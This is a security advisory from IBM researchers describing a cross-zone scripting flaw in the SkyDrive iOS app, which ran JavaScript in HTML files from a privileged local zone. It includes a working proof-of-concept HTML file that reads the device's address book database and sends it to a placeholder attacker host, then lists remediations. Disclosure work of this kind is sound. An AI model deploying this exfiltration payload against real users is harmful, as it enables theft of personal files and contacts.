Microsoft SkyDrive Cross-zone Scripting

A security advisory

Roi Saltzman, roisa@il.ibm.com
IBM Security Systems, Application Security Research Group

May 13, 2012

人体工程学的

1 Abstract

This paper covers a dangerous vulnerability that can allow a malicious attacker to steal arbitrary files from a SkyDrive user by abusing the way in which the SkyDrive iOS application renders HTML files. By tricking the user into viewing a malicious HTML file inside SkyDrive's mobile app an attacker can bypass Same Origin Policy restrictions and read all files that are accessible to the application, such as application configuration and some user content.

This security flaw is present in the current iOS app (version 2.0).

2 Background

According to Wikipedia[1], Cross-zone scripting is defined as "a browser exploit taking advantage of a vulnerability within a zone-based security solution. The attack allows content (scripts) in unprivileged zones to be executed with the permissions of a privileged zone - i.e. a privilege escalation within the client (web browser) executing the script".

In the vulnerability illustrated below, content that originates from an "Internet" zone (i.e. unprivileged zone) is executed under the "Local" zone (i.e. privileged zone).

3 Vulnerability Description

A significant feature of the SkyDrive app is to allow the user to view files from his SkyDrive account. Amongst numerous file types, the SkyDrive app allows the user to view his HTML files in a rendered format. To do so, the SkyDrive app is using an embedded browser object to render the locally stored HTML file. The method in which the SkyDrive app renders an HTML file has two side effects:

- JavaScript code contained in the HTML file is automatically executed

[1] http://en.wikipedia.org/wiki/Cross-zone_scripting.

- The HTML content is loaded in a "file" zone (i.e. not an HTTP location) which is privileged

Execution of malicious JavaScript code allows an attacker to steal potentially valuable information from the DOM of the embedded browser, an attack dubbed "Cross-Application Scripting" (XAS). However, because SkyDrive loads the HTML file from a privileged zone [2] this malicious JavaScript can also access the file system with the same rights as the SkyDrive app.

4 Attack Vector

In order for the attack to succeed, the user needs to view a malicious HTML file. An attacker can achieve this in one of two ways:

1. Share a seemingly innocuous HTML file, which will contain malicious JavaScript, with the user.
2. By performing a Man in the Middle (MitM) attack on the user's mobile device, the attacker can inject JavaScript code into external resources as they are downloaded to the device.

In both cases, the user will have to voluntarily view the tainted HTML file in order for the attack to execute.

5 Impact

By exploiting this vulnerability an attacker can read and retrieve files that the application can access in itself. For instance, application configuration files, the device's address book, a screen shot of the application that is taken when the user hits the home button that may contain sensitive file contents, etc.

Although once the HTML files is rendered the JavaScript code executes immediately, when the user is done viewing the file code execution is suspended until the user views the malicious HTML file again.

6 Proof-of-Concept

The following is a PoC illustrates a malicious HTML file that steals the user's iPhone/iPad address book:

```
<html>
    <head>
        <title>Malicious HTML File!</title>
    </head>
    <body>
        <script>
            function readSkyDriveFileiOS(fileName) {
                // Create a new XHR Object
                x = new XMLHttpRequest();
```

[2] Such as "file:///var/mobile/Applications/APP_UUID/Library/Caches/cache/Files/File_3EB1929D13A8BCBEDD959C316B087E28.html".

```
                // When file content is available, send it back
                x.onreadystatechange = function () {
                    if (x.readyState == 4) {
                        x2 = new XMLHttpRequest();
                        x2.onreadystatechange = function () {};
                        // x.responseText contains the content of fileName
                        // which we'll send back to ATTACK_SITE
                        x2.open("GET", "http://ATTACK_SITE/?file_content=" +
                            encodeURI(x.responseText));
                        x2.send();
                    }
                }

                // Try to read the content of the specified file
                x.open("GET", fileName);
                x.send();
            };

            // Reads the user's address book
            readSkyDriveFileiOS("file:///var/mobile/Library/AddressBook/
                AddressBook.sqlitedb");
        </script>
        <h1>This malicious file will now leak the user's address book!</h1>
    </body>
</html>
```

Listing 1: Example of a malicious HTML file stealing a users's file

7 Remediation

The vulnerability stems from the two side effects of rendering unreliable HTML files in a privileged zone. Two possible solutions can mitigate the aforementioned security issue:

- Disabling execution of JavaScript code while rendering unreliable HTML files.
- Loading the file from a less privileged location such as HTTP (i.e. http://sandbox.live.com)